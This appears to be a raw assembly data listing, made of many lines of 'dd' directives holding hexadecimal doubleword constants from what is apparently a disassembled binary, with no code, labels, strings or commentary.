dd 1C2C17BEh, 0EB250967h, 0DD68AC54h, 3A3E1302h, 0BE98FD56h
dd 0B8A9F6E9h, 37C12F5Eh, 2A23749Fh, 0A384CB69h, 0CCBDE416h
dd 0E94FFA24h, 7435710Bh, 0C5C1E97Dh, 60824958h, 5296798Ah
dd 166520Fh, 0DA8836B3h, 1BA440ADh, 4054E3D3h, 4CBCEB8Bh
dd 0F41002A6h, 38773C72h, 21EEDD17h, 5A6599h, 2D1F31BBh
dd 53F908D3h, 0B813BE2Ch, 4B537ED1h, 8095540Ch, 0E24C02EAh
dd 0EF0EB50Fh, 62A10153h, 645CD865h, 0C7B84A06h, 3A295B0Fh
dd 4BF05253h, 20C041E2h, 1D4A09ADh, 5A2CD54Bh, 0C28121B3h
dd 497E1428h, 76781933h, 0A80D4A4Bh, 18B04EC1h, 0B2C44F35h
dd 1F2778A5h, 0C6D69811h, 0D5808195h, 2AE6CC5Bh, 20750CC8h
dd 0CE3D2094h, 84BFB53Eh, 0EA8825F5h, 52262DA9h, 7A27A7D7h
dd 0A83901F6h, 0BEC82F1Ah, 68F109F7h, 581A22F4h, 0E3093CD6h
dd 5F64B292h, 0ABDCF94h, 6886EBEBh, 0EE173738h, 45EFB947h
dd 4F4CB350h, 55C53BE2h, 0A53857A5h, 0D6027EB1h, 402F4139h
dd 4C53078Ch, 0CE005852h, 893DE056h, 1F985BDAh, 6A022C03h
dd 0BC86E923h, 0B40577ABh, 4CD1ADE4h, 375B2C78h, 0E5BB710h
dd 0D463818Ch, 247455FBh, 3E435F3Dh, 7A508BE3h, 4A6B0E75h
dd 0B25BCD3h, 3FFAC55Ch, 9D32C726h, 0BB65E80h, 18C831A2h
dd 0E00001CBh, 2FF12D26h, 50D6836h, 54291041h, 9A07AA48h
dd 47656231h, 0D543BEC2h, 6801616h, 58481468h, 58BD0DEh
dd 7BCB2326h, 0DCDEBE01h
dd 61FE8434h, 0D92A29DDh, 33A62BCBh, 0E710FC43h, 7B5D2491h
dd 0E98390Dh, 9799A22Ah, 8D333B3h, 0CB20CCBEh, 42B3C604h
dd 0AA872193h, 4DA90F10h, 2CD172F7h, 274DC1D9h, 0B0BCE059h
dd 1CF112E1h, 0FC40EE76h, 0CAB688h, 8905F801h, 0D4FFBF22h
dd 0EA136C27h, 65135F31h, 505C2CA8h, 0D747A9B5h, 51B927C1h
dd 435B5F02h, 73E5CB1Dh, 89598582h, 562B88C5h, 0B282D5Ah
dd 5EBC4053h, 0F0EF09BDh, 92F903Bh, 697C3E4Bh, 0EB0CB6C0h
dd 0CE485176h, 0B3D428D1h, 12B7F22Dh, 0C58F5615h, 68C8471Fh
dd 2C4763C9h, 39FB4BD1h, 7C4BD410h, 2EDF1C5h, 0FA0D35FBh
dd 0D8E9F031h, 0E227842Fh, 0D0899F50h, 70A0E815h, 1DB33D24h
dd 32ECFABBh, 0BE81903Ch, 0E56947F4h, 1DF02C31h, 12FA83DDh
dd 0D0285901h, 3830FF35h, 9F5BECD8h, 0A17D2FEAh, 0CBA0E90Ch
dd 0FF4C50B8h, 5279304Eh, 28489B68h, 70B0C070h, 0FA58C288h
dd 6F6B96E5h, 0CDE9D762h, 7DB9BD48h, 23143412h, 44054FECh
dd 810BF18h, 0A727EFEEh, 9EA250F7h, 6FFA56BCh, 68214F52h
dd 6E60BA12h, 902C6A38h, 3CCE0018h, 46715450h, 12C1D6F7h
dd 0C041532h, 95C4EEFDh, 0E98C0A87h, 89DFD943h, 9E4635F0h
dd 0AD786E3Eh, 1DEE806Fh, 20E928E2h, 0F4BC2E83h, 2AC23D39h
dd 0BFBA1Eh, 0A13472F4h, 5A21F83Fh, 16F98A2Ah, 9E25F670h
dd 8F99161Dh, 9242EF3Fh, 9387A1Bh, 21D43DBh, 20A2960Eh
dd 0C6402268h, 120E59DFh, 0BFCD29F3h, 6288F5C1h, 8A7F2633h
dd 39A24BDCh, 448F5F15h, 0B508525h, 5C7FC06Bh, 0C1010CECh
dd 1107C76Eh, 8358327Fh, 3BE90291h, 5F25FC68h, 78F2DFF8h
dd 0F23B9DE9h, 5C49FCCAh, 0AE60A500h, 9C98107h, 759D02D3h
dd 6FD15800h, 4B1C492Ch, 0EF97FB87h, 382D1DACh, 0C0593C85h
dd 0CE495E85h, 4420017Ch, 0A9989D06h, 20FD03D9h, 4C603CCAh
dd 2C9EBFE3h, 0B4185E38h, 1A03CE09h, 83710B60h, 0EED612C6h
dd 10E3BD02h, 58300DDAh, 0C32DAB2Ah, 0DE87150Dh, 0C3040643h
dd 9558C4E0h, 0B206A52h, 0C049A129h, 0FE56957Ah, 4A939C06h
dd 2FF17F9Fh, 0EEA1ADD7h, 0E92D4E20h, 0B4D3345Dh, 0E65E217Ah
dd 24E97698h, 0CF72CC2Dh, 0BDA47525h, 86A55A80h, 566E0821h
dd 0D35F0E6h, 3D9DE755h, 2E1050DDh, 31AC111Dh, 44534A53h
dd 7C3AA60Bh, 0F457673Eh, 5306D110h, 846E6868h, 310BC4DAh
dd 7E201C58h, 0F6AC80D0h, 77591FDDh, 0D9BB0C73h, 0D09F2A3h
dd 0DC121420h, 0E21C2C25h, 0F1761103h, 0D9E1F763h, 0EB27C733h
dd 6897604Ah, 669D4CB8h, 0ACC82ED9h, 0B9A142F0h, 384325Ch
dd 8480110Dh, 4E5C49EFh, 28E20564h, 295BC1BEh, 0CDD220F9h
dd 2F16D7D3h, 0DBF82A1h, 8D94EB18h, 3E4AEE68h, 311039F2h
dd 32BD008Eh, 8134FC26h, 55D601C5h, 0EB292C88h, 0D0D3A5Dh
dd 563003FFh, 99CC1F90h, 25ED016Ch, 80712D6Bh, 39181E0Ch
dd 9FF6E903h, 0E6C0B502h, 6B3C87DDh, 5268EE30h, 0DAE1F7B2h
dd 0FC93C2ECh, 0E9F80CCAh, 0FBC1B699h, 304E2BEEh, 0C58D5431h
dd 68061439h, 984B1A4Ch, 3BA1E30Bh, 101D0254h, 0B9560409h
dd 0F7E684F1h, 71F5E492h, 5BDE4BB2h, 0D7583D80h, 545FE906h
dd 1E5B97A1h, 0B9E58851h, 2FCEA62Ah, 83D0D801h, 5827F009h
dd 8BC1A932h, 9518D83Dh, 0DE4FA0F9h, 819F9D14h, 18127AFCh
dd 859506Ah, 0CE73E909h, 5C329057h, 88D9BED2h, 8927E067h
dd 1B4200E9h, 985EB50Ah, 27BF0786h, 0F9011EA5h, 0B081308h
dd 60208CE9h, 0B01C7825h, 6218074Ah, 5C7FC242h, 0F571F49Eh
dd 6864203Bh, 0F39C2A90h, 0C7460669h, 3FEF04C1h, 0FBFAAD36h
dd 3096861Fh, 78D5BB4h, 0D13EE160h, 42F570E8h, 116DE2Dh
dd 0F7F858C3h, 4CD8BAF4h, 33D9A67h, 0A325BCB9h, 0EADA4946h
dd 89137854h, 48C1C504h, 512DEBF3h, 5752E8C0h, 5EF4680Bh
dd 0D2070872h, 8DA11002h, 13DFD6FBh, 6917566Fh, 1E99F3D1h
dd 82EBBF9Bh, 19D90DABh, 0C704765Bh, 0EB25ECAFh, 8612DB1Dh
dd 25F4722Fh, 0C3F62322h, 4A555763h, 8E08BC3Fh, 77BD1668h
dd 52C04991h, 8F40DABAh, 2A0594Ah, 680DA0C2h, 507513CAh
dd 0D5CF061Ch, 80EC8E99h, 0A7F22AEEh, 5E54E0A8h, 438C504Fh
dd 0A0C84C89h, 81258749h, 86A51183h, 0DEE5CC5Fh, 5FFE5345h
dd 8109D2EAh, 20D2F648h, 0FE33EFDAh, 5E850ACAh, 0D0BA8006h
dd 0E396EEE9h, 892D7625h, 0A190F07Bh, 3E25082Eh, 22D47125h
dd 127190FAh, 9B7690h, 0C92BA53Dh, 0D19D5B08h, 4FE30474h
dd 0A41DC64Ah, 9EDDC202h, 6923E9D8h, 0CBF04379h, 32031B85h
dd 2FF33463h, 0FB2C65EEh, 2608065Fh, 9641207h, 8682021Ch
dd 0B3185308h, 0B092B79Bh, 977C06D7h, 115762D3h, 7009397Ch
dd 4A5098A5h, 0B6D675A9h, 20E9214Dh, 1F315188h, 6C411F61h
dd 1730892Fh, 3E030BF2h, 322FD3DAh, 29E9CF62h, 54BC5F0h
dd 0C50EEBDh, 5846F8BBh, 40CDE48h, 0C84CD2F7h, 0C675B03h
dd 6DC05E9h, 7EACC397h, 0EB386226h, 57421A34h, 0DCA97D18h
dd 59163709h, 5C9FC39Ch, 0B46C14AEh, 4B5108CAh, 0F4385ACFh
dd 151A365Ch, 8C7F4940h, 0B7510C83h, 7997A1ECh, 0FD816977h
dd 2E855807h, 0E1DF8FF1h, 0EE9E1C6Ch, 60AD4918h, 47CB150Bh
dd 3413829Dh, 0E8B9E5C9h, 365AA10Bh, 820897F0h, 57FA475h
dd 0A0CE1A3h, 0C004D8F6h, 0FE08E003h, 91FF2CC8h, 6AFEE970h
dd 190E85FEh, 3A89DB44h, 2C035B8h, 3476F381h, 0BAF13C30h
dd 0EE1115EEh, 36C62AE9h, 0B5F72783h, 0AD179063h, 4CE8F909h
dd 0F398C383h, 0EEFC1CE3h, 6CA17B90h, 677FEDh, 1924ABE7h
dd 3EFC16Fh, 4D0506D3h, 0EAB938B0h, 67BB5FD7h, 0BE0FB1C0h
dd 392DF290h, 0CF3539Bh, 0D03F136Bh, 54A62D03h, 0E955564Ah
dd 6173499Eh, 6EB5510Fh, 0E11264h, 2740C681h, 21C8166Bh
dd 959B3F5h, 7E17DA68h, 0BD8062F0h, 41B2D9EBh, 0B1DE9F4Ah
dd 5A9454E9h, 7B660BB1h, 89E27904h, 5EB8BA00h, 13F4727Ah
dd 4BC61D0h, 34F729F4h, 660E3ECh, 0C5E94208h, 0F4E15B92h
dd 91FA8058h, 0CE006CEh, 41849ACFh, 2DB8FF2Bh, 0EA01330Dh
dd 1F350534h, 3A61392Ah, 0C23057C2h, 46B508D8h, 3268054Fh
dd 0A03E3C38h, 0B1906BDh, 0D7A4134Fh, 0BF53F310h, 8CEBEF24h
dd 97E870Eh, 0A9025D2Dh, 0BB013B70h, 3C166E6h, 267D2568h
dd 532BEBB6h, 1470B7DAh, 289DB109h, 0B5C352C8h, 21BB5B65h
dd 0C26C1202h, 84775A81h, 6E03C165h, 0E3936F04h, 7684A6B2h
dd 0FF16FADDh, 5E78902h, 0CDA7E069h, 1DDF52Ch, 1FE1F370h
dd 646216h, 0E503BF5h, 3A24E90Bh, 0B492F34h, 50E029C0h
dd 40FAFED3h, 0BF1D664Ch, 0BD26286Fh, 5E5ABB07h, 0E3DF29A2h
dd 22F7FBB7h, 0E927470Ah, 4A901A2h, 0EE05352h, 1CDD2E5h
dd 0FC208068h, 0D9D46F76h, 97E9080Fh, 88C079D1h, 8165D12Bh
dd 400C92B5h, 0E507060Fh, 2FA4CB43h, 93551377h, 5DC6421Ch
dd 0FF897159h, 0F802D704h, 9171585h, 1F3202B1h, 760E0722h
dd 9067C278h, 2C01130Eh, 0B25266E3h, 0B28CF4A2h, 0EB62BCF1h
dd 98101176h, 16E79124h, 2221E710h, 0ABB12589h, 0C83EF952h
dd 94E86274h, 2CF2528Fh, 2DC70851h, 6F7C628Bh, 4422CF02h
dd 8B867D7Dh, 0E20443B0h, 17AC2CCAh, 0B850A290h, 0CD6212EBh
dd 0FE90C615h, 0A4CE4EC4h, 39447227h, 0BCE6115Dh, 9CB8B48h
dd 796175A4h, 38237E00h, 729A6B65h, 2FFAFEC8h, 0AC81B7CCh
dd 4A0968FEh, 3A8592D4h
dd 684F2DEBh, 8F23D71Ah, 0FA12E4CEh, 0C31B5812h, 50C1EB11h
dd 1D29BF0Bh, 163CAD06h, 5B50E3CBh, 177911D0h, 0E98D3CC9h
dd 400BA0A4h, 8BB65895h, 29650F6h, 0D88D6B3Dh, 0F68A95FCh
dd 0EEDC253Fh, 4BE9D370h, 0AE938459h, 0E821CE81h, 5EC08B6Bh
dd 45EF9CA4h, 2A6CFDA9h, 4B20848Dh, 0B95E9CD5h, 0B8AD024h
dd 5CC4F7B3h, 0E35E5F79h, 0A12FDC10h, 2F89A22Ch, 0D9721C77h
dd 0BA153365h, 0B7C0BB64h, 31E905A1h, 18F33AD7h, 0DF316F87h
dd 0AF9FE41Fh, 0BD25B17Ch, 9F852C0Dh, 1B2FCD4Ch, 0CBDDD728h
dd 8F614B7Ah, 0CB2A1B34h, 0D72D00C5h, 50D5C69h, 0FD65121Eh
dd 2A30146Ch, 0D6EA27h, 60E1E909h, 0BC04334Ah, 86B55832h
dd 6B6FE4B7h, 69740FAEh, 5B31E970h, 547736CEh, 22E85164h
dd 414B28BBh, 0C66D2848h, 5C0F12C3h, 484ABF9h, 80BB0693h
dd 0D9213437h, 0A0EAEC1Fh, 92D2BAE9h, 4776C4EEh, 0D7D3EC2Fh
dd 0F34EFE8Ah, 8F825A30h, 0C085DE52h, 0E84EE95Ah, 0D209D5B1h
dd 8538EBDFh, 76B87494h, 0E9EF0973h, 8E448BAAh, 19026825h
dd 0DB565F14h, 0EE292F33h, 0E985CE71h, 11F9AF4Ch, 5B9E053Bh
dd 0E029D778h, 0FB00BE4Fh, 1338925h, 1D5E3872h, 4B4A315Fh
dd 0FB7857E9h, 51BF3507h, 61A40340h, 2F6806F0h, 0FDDA65C7h
dd 65C8D630h, 2CAEB652h, 13E4CE80h, 832CC75Fh, 0C5D8E1E5h
dd 0E86208C7h, 7AED52F6h, 1A2125B9h, 576E8EF4h, 5FA40181h
dd 8F3C307Ah, 604F4120h, 14E5AFB0h, 0EFB88E3Ch, 6F649641h
dd 477726E9h, 1CB9358h, 3C33D68Bh, 5E343019h, 3431352Ch
dd 0F698F301h, 23FD4Ah, 0C1835B31h, 42AC60E9h, 0BC3CA296h
dd 446A9233h, 68A371EEh, 0A4656A8Dh, 7B0E6DBAh, 0E44BBA8Bh
dd 6455440Bh, 0BAA50024h, 0C2247D41h, 78259A3Dh, 29CCBD06h
dd 0FE87F713h, 1D283B04h, 506A31AEh, 1A8005CCh, 7E646548h
dd 2EFD5C63h, 0CA50841h, 3C8B40E8h, 973679Dh, 19D7B6AAh
dd 9C6C49DBh, 3C67F84Fh, 1F1B9421h, 0E6B1C4D3h, 5CB4D698h
dd 4925794Eh, 2CAE428h, 7E230EBh, 0D2667D01h, 3EC36A70h
dd 0B2766E82h, 0D52D585Bh, 9712B1h, 375FEBBFh, 47F52DE0h
dd 0ABC1361h, 7053C28h, 4832A480h, 810BC300h, 457D23CAh
dd 4DA903Ch, 0EE18E2B8h, 6D4AF2Dh, 51BBDDC2h, 0AD5B4200h
dd 0C0C5FE00h, 0F60700E5h, 68ED80D5h, 6990EB28h, 66A6DE25h
dd 0AF42D39Ah, 4939702Dh, 0C2FAE54Ah, 288D9F5Eh, 0D2381284h
dd 0C1D1D2DEh, 98DDF65Fh, 406037Ch, 50CD07FEh, 0B1287BB4h
dd 64213BE9h, 0F9E4CF75h, 84848FBDh, 20AB90ACh, 5828EE28h
dd 102B9E48h, 912CD79Bh, 0DABB3FD2h, 0C49A1DAFh, 39880341h
dd 3A87C5CDh, 80F5DCB8h, 0C7C229Bh, 2663BEE6h, 24F1E90Bh
dd 3304587h, 0F93788DCh, 91F8E1h, 31A8DB9h, 0F1817019h
dd 77CA3692h, 0B4050255h, 4E705202h, 66D5B505h, 67680AFEh
dd 8E92D64Eh, 87CF35ACh, 6F71EFF2h, 0A97411E9h, 0BAA99056h
dd 5C929D27h, 0FAC74E68h, 0F3306881h, 1B325C8Ch, 0B49F503h
dd 0CA093E08h, 73C1BF7h, 5413E97Fh, 5D322CBAh, 0A32942FAh
dd 0A02B2811h, 683ECAE3h, 95B0DBDDh, 58277A7Ah, 6A4D9D4Ch
dd 6ADCF64Eh, 190D0F32h, 377F4883h, 30D80726h, 0B2525B3Dh
dd 0B353FA03h, 74472C3Bh, 7DCCFB1Bh, 0E9D07B28h, 0BA155A70h
dd 0E0309F43h, 0BDB35EF2h, 71F1CC8Bh, 0F021C275h, 0EDE4CC55h
dd 28002D7Ah, 29AEA48Fh, 1AB12EF9h, 42CEE62Fh, 89BD109Eh
dd 2DCC1C8Bh, 720ADC2Dh, 2F7178F3h, 0ED3C09Ah, 777822AFh
dd 9DCD4CF9h, 0D7224C25h, 0FBE77496h, 0E1ED2629h, 0C1297830h
dd 0F6D0C669h, 4670E8D6h, 2F13E6B5h, 107141C7h, 0A10CA889h
dd 158C1D1h, 8B9456Bh, 0A8BB0E55h, 0AE57D004h, 331F3290h
dd 9051E436h, 3C270947h, 40E02EB9h, 1B0EE781h, 0C0521955h
dd 0FE3A5AC7h, 2701BC05h, 9232D4D6h, 0F41AD5AAh, 55805142h
dd 7FE7466Fh, 0FDE1895Eh, 26AD50CEh, 1604517Eh, 0F22E934Ah
dd 14D1BE93h, 55E12E29h, 0DF9BA9CEh, 8BFEFB32h, 883077E9h
dd 9D3073F9h, 68068271h, 0CC274A4Ah, 1E3986A3h, 0E68101A2h
dd 47A966F6h, 8BBDC442h, 4C0F405Fh, 469F9E27h, 12F21F4h
dd 272394F7h, 0FBE048E9h, 0ED2F6851h, 8364714Dh, 69C34FEBh
dd 263DE27Fh, 87B99EF9h, 314D3A44h, 5C5D30C2h, 13EE81EAh
dd 6BB11989h, 15086912h, 3C6805B3h, 0C22FF87Fh, 5DCD4D87h
dd 0B27D0840h, 0A4DD3226h, 0C66F1402h, 13835F3Bh, 5D7A18B0h
dd 61B2BB5h, 0BDB59053h, 9090863Ch, 1E262C49h, 20958C3h
dd 0C2C89BC2h, 3FCB70AFh, 858EBC0h, 951171Fh, 0AF7C3573h
dd 162FF452h, 0C2DFB25Dh, 0F4E8B8E9h, 0C896BBF7h, 0D4211964h
dd 1D6AE8D8h, 627D0CC0h, 392952D6h, 0DAE9C8h, 5453BE8Ch
dd 467B0604h, 20B4E227h, 74866337h, 9544F683h, 41DCEB09h
dd 932E858h, 0C6E910F3h, 50EB6629h, 4802E44Ah, 5059C828h
dd 6F8741A0h, 418AA888h, 2C31ED80h, 0F921D267h, 0C92BE20Ah
dd 42297BF8h, 3B31D92Ah, 0A22E48DDh, 799125FBh, 7A3110ECh
dd 5193A42Dh, 80B901B4h, 6EC28BA1h, 0FDB5CF87h, 0C3D0A0E8h
dd 8F499192h, 753F2240h, 697B3309h, 0C026F459h, 4499E9CEh
dd 0C04046B5h, 0EF306CB2h, 0D507F74Dh, 455EB850h, 0D8816857h
dd 0E0C8E8D1h, 4A230105h, 2D482A99h, 0FB3C435h, 4EC52926h
dd 0DBE8E916h, 77CDFAA4h, 2C88157Dh, 0F0853E0Ch, 0F0149049h
dd 0D122556h, 0C993C9DCh, 8F057B0Bh, 762A45B8h, 6F08E516h
dd 0EF803D98h, 0D14E38A3h, 5F49FE31h, 0A7EC4040h, 0BF577F40h
dd 9D08C7ECh, 2E498E7Eh, 6606031Bh, 123C3440h, 1F38005h
dd 891A3526h, 4A4C90DFh, 0F55BD09Bh, 120446BEh, 15BDA31h
dd 0D9C3FA81h, 82E3273Bh, 0B1571745h, 0D3C9590Eh, 22301EA8h
dd 0F3977F5Ah, 0F66842Ah, 464488B3h, 696829CFh, 8545B35Ah
dd 76E9B043h, 0F7E732B6h, 0CCC05F1Ch, 6EBD1BBDh, 8B129CEBh
dd 0F1C50FCCh, 3ABF9120h, 9145C97h, 44F215D9h, 0E253978h
dd 0C7155496h, 7529C36Fh, 3D7E83F2h, 557E08Fh, 9D20DA6Bh
dd 90B433F7h, 0A8F31C0Fh, 817A5D29h, 62E5A5C3h, 540020A1h
dd 112A4C1Dh, 0C63BB649h, 5768128Fh, 92C7E916h, 70454E09h
dd 0D54DB57Dh, 899DFBA8h, 8330F5B4h, 9B95F007h, 0EE4DC9D4h
dd 0D9A0243Bh, 12F432FDh, 0F9A322BBh, 93C925Bh, 0CA81D6A0h
dd 281F3578h, 0EA094A29h, 0F34EC8F2h, 0E1E89FF5h, 2A4FE7CAh
dd 0B1A00504h, 0BA6C9B4h, 4F12704Bh, 2B173FD8h, 7C017F63h
dd 51801026h, 0FD7C6378h, 4C67192h, 800FCF67h, 200D15FBh
dd 0D30C6760h, 36066356h, 86B1F189h, 3B831B30h, 3BCB70C1h
dd 0E10E9812h, 0D66284h, 2F4CE9A8h, 0A6EA8875h, 0C5315489h
dd 0E85C7593h, 4A0BA2A6h, 95185569h, 431327C3h, 0C6AC47ACh
dd 482E1A10h, 5657052Fh, 1E807F0Fh, 6BF38E7h, 0E9F02970h
dd 501E4B67h, 2609CFB0h, 2D147317h, 54251CE5h, 40025142h
dd 7817C10Eh, 513FAF26h, 0C1AAD327h, 7A0F2AE9h, 6A0B4035h
dd 93222A7Dh, 501E89CFh, 1E5D4AEAh, 0C5F15236h, 37FC65EDh
dd 0ABD6D4FBh, 5ECB7437h, 0DB52FA31h, 4BE1D424h, 74714052h
dd 0E4D19F31h, 0E6D7DDCFh, 3600E90h, 41558A6h, 60CDC09h
dd 5F7407DDh, 0F71F5662h, 2408E928h, 0A90027E4h, 8A10E225h
dd 0A7E1734Fh, 781DF7E0h, 9004EC15h, 879E4E9Fh, 0BF1904F1h
dd 828376D8h, 440B10FFh
dd 94199D28h, 243238D4h, 4425155Dh, 0D5EB4A6Ah, 7DB9F076h
dd 0E42EF141h, 0D609EF2Dh, 5EAA0DF3h, 13E906D7h, 0EDBF22C6h
dd 50D4A7C7h, 4AB8BE40h, 92124885h, 0D62D6906h, 1D020C10h
dd 19F80B1h, 648075F7h, 2ADE25E7h, 2D0EA080h, 3346534Eh
dd 73B1D9A0h, 62BD43Eh, 3119CCE7h, 33CF01A6h, 471A6F6Ah
dd 3DF7F84Fh, 42E42713h, 525C18ABh, 0BE242919h, 8028231h
dd 0C11B2360h, 2DD030C5h, 81450F67h, 977DDAE5h, 2DDAC1Ah
dd 944DBFCDh, 4A5C4011h, 0A47609BBh, 2DD0B4E9h, 8E3F395h
dd 54258E42h, 0AE41F264h, 0EA17633h, 204148D1h, 53E9FE09h
dd 0ECE49DEDh, 220EF4C0h, 4A684923h, 11B0D1F8h, 895D2C10h
dd 900B4651h, 0B85E4A41h, 0CEA59682h, 4F105A59h, 97B8D8E9h
dd 90BD995Bh, 684D0CBCh, 0E2ABE6C5h, 20CF5812h, 9F3DA4FDh
dd 4C912E1h, 612000FBh, 2858C788h, 7A5EF87Eh, 6BACDC84h
dd 75E31A5h, 0B26A181Dh, 0B1B8046Ch, 907B3A1Fh, 522B0D90h
dd 0E974331Eh, 2DD70527h, 592854E9h, 94135952h, 8DC83116h
dd 78A42171h, 1DF35AEAh, 8CBE13D2h, 9D41AEFDh, 0B2E5DF2h
dd 3A0AF562h, 32D7F6E1h, 0B6C4217h, 0DAE8E9C3h, 0FB144021h
dd 0D924E295h, 76B680B2h, 8007EEC0h, 0E8C2D6E7h, 69899627h
dd 57A69A7Fh, 2EAC6A15h, 670B8085h, 0B0F47B81h, 0A35A1967h
dd 715C26DEh, 68B9E209h, 1D03E8C7h, 89591DFDh, 6C62E91h
dd 2B508A0Bh, 0DC5989F9h, 3A37889Ch, 3DE6D125h, 0C0212Fh
dd 340B3540h, 0D042B10Bh, 5483B93h, 6DD5958Bh, 0ECF82B85h
dd 0B652C07Ch, 50CE80ABh, 12588647h, 0AE8444E9h, 0C1607A39h
dd 1FE360D3h, 8E2148CAh, 48DD0358h, 2977002Bh, 0E1C12632h
dd 90495B02h, 5AD7F15Fh, 7E75693Bh, 0E371790Fh, 70DDC962h
dd 4A042724h, 5BE8E658h, 68660AC0h, 2DE93E6Ah, 18533B8Ah
dd 5F00ACA4h, 0E94DC935h, 0D5F06899h, 38B59DF9h, 479B9970h
dd 11A1E252h, 99CB995Fh, 0E430FA75h, 124DB85Dh, 0B169371Dh
dd 0EF3A41A8h, 1BDEC3Ch, 61A3D34Eh, 0E744BE93h, 0D9940CE9h
dd 5F978BABh, 0E9C2EAB6h, 9C482660h, 47985FFBh, 89E15B5Eh
dd 64638848h, 0B2E8ABA1h, 0C3318447h, 40FBAD85h, 69BB536Ch
dd 680C5779h, 0AA06EBC1h, 1202E2CDh, 0F0DA2978h, 16182DEAh
dd 703C6A9Bh, 4FAD3F40h, 0BFAFAB4h, 850C5F08h, 2502A752h
dd 9DE91544h, 48BA9BB5h, 0CB5AD1C7h, 85C12ABh, 7949FD91h
dd 340B8804h, 713CEA41h, 661455A6h, 221FAB0Fh, 0B27B972Ah
dd 1B271E9Fh, 0BFEB2F8h, 0E535C100h, 81024644h, 4D32BBC6h
dd 850E5D13h, 1804EE66h, 3621A001h, 5EF3310Eh, 96357870h
dd 19586274h, 0ADA24282h, 9EF38001h, 2368BA31h, 5A5B7774h
dd 6801675Fh, 0D60BE724h, 5A9399E7h, 404FDF30h, 2AB05EC1h
dd 2D78130Dh, 7CCE8761h, 0B2AC0CD8h, 2A70EB71h, 0C375CB75h
dd 0AC7C2B8h, 1E8D280Ch, 9C0606D7h, 1CAAB050h, 25E96940h
dd 1A2006F6h, 758C4D1Eh, 7D4909F6h, 0CA529F9Ch, 5DEE3143h
dd 61FEF556h, 4370314h, 0D67EE1C0h, 9B050546h, 0AB3B6E4Fh
dd 0C112488Bh, 2F6DF4B5h, 0E0A74FBCh, 9474B2Ah, 388770Bh
dd 70242C53h, 27E77815h, 84936BDAh, 45B19B8h, 0F9D59F76h
dd 626704DCh, 4BF8C128h, 85CB294Bh, 1C68585Fh, 0B8D2E2ECh
dd 0F50C16A0h, 0D1D277FCh, 2FCD2B75h, 28345759h, 40385824h
dd 0F80001DFh, 0E39B52Dh, 0E4685F67h, 42C69F1Dh, 314C0204h
dd 0B4874974h, 455E2CA0h, 0AD0D34E9h, 468F8243h, 0FD9FDCAh
dd 622F13ACh, 4AE57D3Eh, 9B89D4A6h, 152F9C8h, 71D5AEBBh
dd 87B22EAFh, 61B2680Ah, 3D87A423h, 0E302D212h, 1348005Bh
dd 0E3C17AE2h, 58E91703h, 0CCE8FC10h, 975131CAh, 9E48337Bh
dd 0EC6339A5h, 0F94FE908h, 57588609h, 3FD62814h, 4D521D13h
dd 97C3D0F0h, 2A551A8Dh, 8450D40Fh, 85B89615h, 0F079129Eh
dd 0B30253EDh, 0E0CB8085h, 0C57A40FEh, 0E51197B2h, 0C45BE457h
dd 0ACD489Fh, 5DF1979Fh, 0BA2605Ah, 2968E831h, 92A86596h
dd 0E60FF053h, 0C8A86A37h, 0D51E09B8h, 0B62D856h, 62B202C0h
dd 5A13F9F4h, 95C00F67h, 0D6EA9EE9h, 0FA00AA9Dh, 94A71721h
dd 69C10005h, 0D72D12BAh, 4A5E4535h, 71FF3C4h, 3DB01128h
dd 58317D40h, 513C8FEh, 0FCAE143Ch, 0C7175907h, 0E1E1677Eh
dd 0F063262Ah, 4EEA05E9h, 0C110EF5Eh, 93783F82h, 24A81092h
dd 0B608ED28h, 0E5C1502Bh, 0E7340867h, 2D0AFCA0h, 3A243D20h
dd 5E8298Ah, 418C2007h, 0C7A72ABEh, 0BD4A354Ch, 41FC76A4h
dd 2F129DEAh, 16B030E9h, 0CEEB945Bh, 0D7F7FD81h, 0EF90D331h
dd 0AE6273E9h, 75FC882Ah, 0D3282C68h, 8441B6A2h, 23E92001h
dd 0D6ACB5D6h, 7810F307h, 98C40FEDh, 4F32B2ACh, 29BBE434h
dd 143C6B43h, 811B130h, 571975D7h, 44682B5Ah, 0B31667D5h
dd 7F200520h, 0EEF58488h, 7E7C008Ah, 826998C2h, 8B147D96h
dd 17E95509h, 1FE2D122h, 4599AF4Ch, 9B6265Bh, 4616AC68h
dd 3D0F002Dh, 0F68178C7h, 6E3B4D13h, 18EE030Ah, 5E72A970h
dd 5009A43Eh, 8AE4B84Ah, 296AF929h, 85807EC8h, 34038931h
dd 23EF329h, 0E052E908h, 5C27B745h, 5A6809B1h, 0B8386742h
dd 8A6959E9h, 6B977434h, 4B3FC5F4h, 7D1070B7h, 14A86ECAh
dd 89D00F17h, 812CE418h, 0BD3C31FFh, 2251F0F1h, 55A58BBDh
dd 49B80093h, 80E7D445h, 832C5A26h, 0BCE4E927h, 0D83005FAh
dd 3A74AE8Bh, 405094F0h, 1C1CB88Eh, 0C1DF0C68h, 2B0D0600h
dd 3E0A9E3Eh, 0B5181A05h, 17195E3Ah, 5249D601h, 0D57110BAh
dd 0B08043D6h, 0B00E032Eh, 368F1F6Eh, 5C0CF091h, 40172C32h
dd 86F022E9h, 76FB9589h, 0E9B040E9h, 0C0FA546Fh, 0DBE09F1h
dd 20551A2Eh, 947D2A93h, 0C10CC729h, 18EA0CDh, 0ED5EE9CBh
dd 41EE28B5h, 0C16594A0h, 13596A96h, 24535265h, 1E8AAED2h
dd 162211D2h, 0D136E9E0h, 2AFD239Dh, 2B171032h, 405D2574h
dd 9B456800h, 0B9E904C9h, 0C38EFA03h, 0A216B758h, 0C0F634B3h
dd 464B5CCBh, 0FA4B147Eh, 1E8DE3F4h, 890DFE59h, 0C9183354h
dd 296EBC68h, 0A1C80D8Bh, 0BE429B21h, 0E9885ED4h, 73D0E690h
dd 50EA1DC0h, 0BF440F21h, 243EC7E0h, 0A760E9BFh, 0B55D0474h
dd 6886AD45h, 207D59B1h, 43BDA92Dh, 62E1DCAh, 6236182Ah
dd 0E225422Fh, 0A03DD413h, 141CD008h, 4CD9350h, 0E933E816h
dd 0B90F88Ch, 5E62F180h, 57B75099h, 0C9F92824h, 0BB6C8527h
dd 0F14A52AEh, 0B2603A41h, 5E2D6856h, 2CEB3030h, 7409D553h
dd 0F3048EE9h, 0A960AD49h, 0A75003A5h, 7E6EDE86h, 9E32AA92h
dd 27ECBE81h, 51303750h, 5903048Eh, 0AF4AE90Fh, 10FCE916h
dd 28E24185h, 0F05C01C5h, 0A0C52D42h, 0E8C05ABFh, 0C8FE2602h
dd 59D2EC7h, 0E03E985h, 0F1E9D71Bh, 0ADB48178h, 2F497ADAh
